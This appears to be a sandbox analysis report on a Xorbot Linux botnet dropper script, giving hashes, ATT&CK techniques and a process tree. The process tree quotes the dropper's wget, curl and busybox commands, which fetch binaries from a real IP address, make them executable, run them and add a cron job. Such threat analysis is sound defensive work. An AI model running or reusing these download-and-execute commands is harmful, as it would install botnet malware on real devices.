xorbot | 12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
04-12-2024 02:41

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General

Target

bins.sh
Size

10KB
MD5

437a00555767f8c3201fad3f0c8593c4
SHA1

4e504c7b16ed9c01b17acd57643c6aa2e1dc8996
SHA256

12201bdbf03e90f7421b3d4c4b612c6e541b1e24313cd2e090787567d3722f44
SHA512

3caf18ed0ab4540decbb2469237a14ee4874c23e0ad7b93531a1dd4c31e48375ae9793fef3bd53e8dd49a129b37f69476c46cc988a61a8d2ef21bfc7d4e4c1de
SSDEEP

192:cv4UQmpRVu66kkmhNiumVxXI4xkkmhNd8VxXI4DUQmpRFW:cv4UQmpRc6TmVxXI4ZVxXI4DUQmpRY

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2102) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmod

pid	Process
1492	chmod
1499	chmod
1506	chmod
1513	chmod

Executes dropped EXE 4 IoCs

Processes:

FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cXdEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

ioc	pid	Process
/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	1493	FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	1500	bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	1507	8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	1514	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

Renames itself 1 IoCs

Processes:

dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

pid	Process
1515	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.0cjn8O	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

description	ioc	Process
File opened for reading	/proc/1176/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1293/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1621/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1726/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1730/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1748/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/668/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1174/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1584/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1698/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1595/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1658/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1710/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/81/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1575/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/12/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1747/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1000/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1583/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1585/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1633/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1684/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1696/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/24/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/946/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1712/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1604/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/514/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/701/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1648/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1654/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/35/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1240/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/442/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1126/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1361/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1476/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1615/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1646/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/31/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/98/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1735/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1750/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1677/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1679/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1274/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1283/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1611/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1645/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1660/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1675/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/5/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/14/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1692/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1522/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1528/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1592/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1652/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1713/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1740/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1029/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1155/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
File opened for reading	/proc/1601/cmdline	dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxbusyboxwgetcurlbusyboxcurlwgetcurlwgetcurlbusyboxwget

description	ioc	Process
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	busybox
File opened for modification	/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	busybox
File opened for modification	/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	wget
File opened for modification	/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	curl
File opened for modification	/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z	busybox
File opened for modification	/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	curl
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	wget
File opened for modification	/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5	curl
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	wget
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	curl
File opened for modification	/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK	busybox
File opened for modification	/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1482
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1483
- /usr/bin/wget
  wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:1484
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  ./FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  - Executes dropped EXE
  PID:1493
- /bin/rm
  rm FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:1497
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Writes file to tmp directory
  PID:1498
- /bin/chmod
  chmod 777 bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - File and Directory Permissions Modification
  PID:1499
- /tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  ./bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  - Executes dropped EXE
  PID:1500
- /bin/rm
  rm bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod 777 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  ./8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  - Executes dropped EXE
  PID:1507
- /bin/rm
  rm 8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/chmod
  chmod 777 dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - File and Directory Permissions Modification
  PID:1513
- /tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  ./dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1514
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1516
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1517
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1518
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1519
- /bin/rm
  rm dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://216.126.231.240/bins/i7wnBa0kpJNfw3Qa7N90WDGDAfY2gh6CMl
  2⤵
  PID:1524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/8izFrZGWFJzPZKVmq3eUdi9cJ2XW1mM1cX

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/FCn2kQyGFZoF3r5L2ltXjQNI2NcsSsgTD5

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/bh1FHs9LnwxW7pM19PcTvzopGznKILHHWK

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/dEpxZJ8oaGLI9zTGWqFPm9DZQQ7Lh1en1Z

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.0cjn8O

Filesize
210B

MD5
dcc317c6b4afc0bb0e301c4a75e7269e

SHA1
c88371334970a788846cf16c501d54eea2cf6b7c

SHA256
ebc704702ded4941f14b8e321f52b00bdb30fa86cbb059c62ec0e79ee401f440

SHA512
e5a9232a4f825069b14a6445175199867b316f4b343d2dabe19a809ca471cb3fab6897e825ee9e1a7839ea986f7b91247a10b8d100e14f3e7298c3d502a2ed1f

Download Submit